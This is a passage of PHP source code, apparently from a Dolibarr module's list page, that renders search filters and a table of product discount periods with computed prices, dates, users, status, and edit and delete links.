            if (!empty($arrayfields['um.login']['checked'])) print '<td class="liste_titre" align="center"><input type="text" class="flat" name="search_umlogin" value="' . $search_umlogin . '" size="10"></td>' . "\n";
            // Fields from hook
            $parameters = array('arrayfields' => $arrayfields);
            $reshook = $hookmanager->executeHooks('printFieldListOption', $parameters);    // Note that $action and $object may have been modified by hook
            print $hookmanager->resPrint;
            if (!empty($arrayfields['dpp.datec']['checked'])) {
                print '<td class="liste_titre" align="center"><input class="flat" type="text" size="1" maxlength="2" name="search_datec_month" value="' . $search_datec_month . '">';
                $formother->select_year($search_datec_year ? $search_datec_year : -1, 'search_datec_year', 1, 20, 5);
                print '</td>' . "\n";
            }
            if (!empty($arrayfields['dpp.tms']['checked'])) {
                print '<td class="liste_titre" align="center"><input class="flat" type="text" size="1" maxlength="2" name="search_tms_month" value="' . $search_tms_month . '">';
                $formother->select_year($search_tms_year ? $search_tms_year : -1, 'search_tms_year', 1, 20, 5);
                print '</td>' . "\n";
            }
            if (!empty($arrayfields['status']['checked'])) print '<td class="liste_titre" align="right">' . $form->selectarray('search_statut', array('-1' => '', 1 => $langs->trans('DiscountPriceActivated'), 2 => $langs->trans('DiscountPriceDeactivated')), $search_statut) . '</td>' . "\n";
            // Action column
            print '<td class="liste_titre" align="right">';
            print '<input type="image" class="liste_titre" name="button_search" src="' . img_picto($langs->trans("Search"), 'search.png', '', '', 1) . '" value="' . dol_escape_htmltag($langs->trans("Search")) . '" title="' . dol_escape_htmltag($langs->trans("Search")) . '">';
            print '<input type="image" class="liste_titre" name="button_removefilter" src="' . img_picto($langs->trans("Search"), 'searchclear.png', '', '', 1) . '" value="' . dol_escape_htmltag($langs->trans("Search")) . '" title="' . dol_escape_htmltag($langs->trans("Search")) . '">';
            //$searchpitco = $form->showFilterAndCheckAddButtons(0);
            //print $searchpitco;
            print '</td>' . "\n";
            print '</tr>' . "\n";
        }

        $userstatic = new User($db);

        $i = 0;
        $var = true;
        $numLine = $limit != -1 ? min($num, $limit) : $num;
        while ($i < $numLine) {
            $obj = $db->fetch_object($resql);
            if ($obj) {
                $var = !$var;

                // Show here line of result
                print '<tr ' . $bc[$var] . '>';

                // Date begin
                if (!empty($arrayfields['dpp.date_begin']['checked'])) {
                    print '<td align="center">';
                    print dol_print_date($db->jdate($obj->date_begin), 'day');
                    print '</td>';
                }

                // Date end
                if (!empty($arrayfields['dpp.date_end']['checked'])) {
                    print '<td align="center">';
                    print dol_print_date($db->jdate($obj->date_end), 'day');
                    print '</td>';
                }

                // Label
                if (!empty($arrayfields['dpp.label']['checked'])) {
                    print '<td>' . $obj->label . '</td>';
                }

                // Discount
                if (!empty($arrayfields['dpp.discount']['checked'])) {
                    $isDefined = !empty($obj->discount);
                    if ($isDefined) {
                        $discount = $obj->discount;
                    } else {
                        if (!empty($obj->price)) {
                            $discount = 100 - ($obj->price * 100 / $product->price);
                        } else {
                            $discount = 100 - ($obj->price_ttc * 100 / $product->price_ttc);
                        }
                        $discount = floor($discount * $precision) / $precision;
                    }
                    print '<td align="right">' . ($isDefined ? '<b>' : '') . dol_print_reduction($discount, $langs) . ($isDefined ? '</b>' : '') . '</td>';
                }

                // Price HT
                if (!empty($arrayfields['dpp.price']['checked'])) {
                    $isDefined = !empty($obj->price);
                    if ($isDefined) {
                        $price = $obj->price;
                    } else {
                        if (!empty($obj->discount)) {
                            $price = $product->price * (100 - $obj->discount) / 100;
                        } else {
                            $discount = 100 - ($obj->price_ttc * 100 / $product->price_ttc);
                            $price = $product->price * $obj->price_ttc / $product->price_ttc;
                        }
                    }
                    print '<td  align="right">' . ($isDefined ? '<b>' : '') . price($price, 0, '', 1, -1, -1, $conf->currency) . ($isDefined ? '</b>' : '') . '</td>';
                }

                // Price TTC
                if (!empty($arrayfields['dpp.price_ttc']['checked'])) {
                    $isDefined = !empty($obj->price_ttc);
                    if ($isDefined) {
                        $price_ttc = $obj->price_ttc;
                    } else {
                        if (!empty($obj->discount)) {
                            $price_ttc = $product->price_ttc * (100 - $obj->discount) / 100;
                        } else {
                            $price_ttc = $product->price_ttc * $obj->price / $product->price;
                        }
                    }
                    print '<td  align="right">' . ($isDefined ? '<b>' : '') . price($price_ttc, 0, '', 1, -1, -1, $conf->currency) . ($isDefined ? '</b>' : '') . '</td>';
                }

                // Author user
                if (!empty($arrayfields['uc.login']['checked'])) {
                    print '<td align="center">';
                    if ($obj->fk_user_creat) {
                        $userstatic->id = $obj->fk_user_creat;
                        $userstatic->login = $obj->login_user_creat;
                        print $userstatic->getLoginUrl(1);
                    }
                    print "</td>\n";
                }

                // Modification user
                if (!empty($arrayfields['um.login']['checked'])) {
                    print '<td align="center">';
                    if ($obj->fk_user_modif) {
                        $userstatic->id = $obj->fk_user_modif;
                        $userstatic->login = $obj->login_user_modif;
                        print $userstatic->getLoginUrl(1);
                    }
                    print "</td>\n";
                }

                // Fields from hook
                $parameters = array('arrayfields' => $arrayfields, 'obj' => $obj);
                $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters);    // Note that $action and $object may have been modified by hook
                print $hookmanager->resPrint;

                // Date creation
                if (!empty($arrayfields['dpp.datec']['checked'])) {
                    print '<td align="center">';
                    print dol_print_date($db->jdate($obj->datec), 'dayhour');
                    print '</td>';
                }
                // Date modification
                if (!empty($arrayfields['dpp.tms']['checked'])) {
                    print '<td align="center">';
                    print dol_print_date($db->jdate($obj->tms), 'dayhour');
                    print '</td>';
                }
                // Status
                if (!empty($arrayfields['status']['checked'])) {
                    if (!empty($obj->status))
                        $statut = $langs->trans('DiscountPriceActivated');
                    else
                        $statut = $langs->trans('DiscountPriceDeactivated');
                    print '<td align="center">' . $statut . '</td>';
                }

                // Action column
                $url = $_SERVER["PHP_SELF"] . '?' . 'discountpriceid=' . $obj->rowid . $params . '&';
                print '<td align="center">';
                if ($mode != 'conflictlist') {
                    print '<table class="nobordernopadding" width="100%">';
                    print '<tr>';
                    // Modify link
                    if ($user->rights->discountprice->creer) {
                        print '<td align="center">';
                        print '<a href="' . $url . 'action=edit">' . img_edit() . '</a>';
                        print '</td>';
                    }
                    // Delete link
                    if ($user->rights->discountprice->supprimer) {
                        print '<td align="center">';
                        print '<a href="' . $url . 'action=delete">' . img_delete() . '</a>';
                        print '</td>';
                    }
                    print '</tr>';
                    print '</table>';
                }
                print '</td>';

                print '</tr>';
            }
            $i++;
        }

        $parameters = array('sql' => $sql);
        $reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters);    // Note that $action and $object may have been modified by hook
        print $hookmanager->resPrint;

        print "</table>\n";

        if ($mode == 'conflictlist') {
            print '<div class="center">';
            print '<input type="submit" class="button" name="cancel" value="' . $langs->trans("Cancel") . '">';
            print '</div>';
        }

        print "</form>\n";

        $db->free($resql);
    } else {
        dol_print_error($db);
    }
}

// End of page
llxFooter();
$db->close();

Hry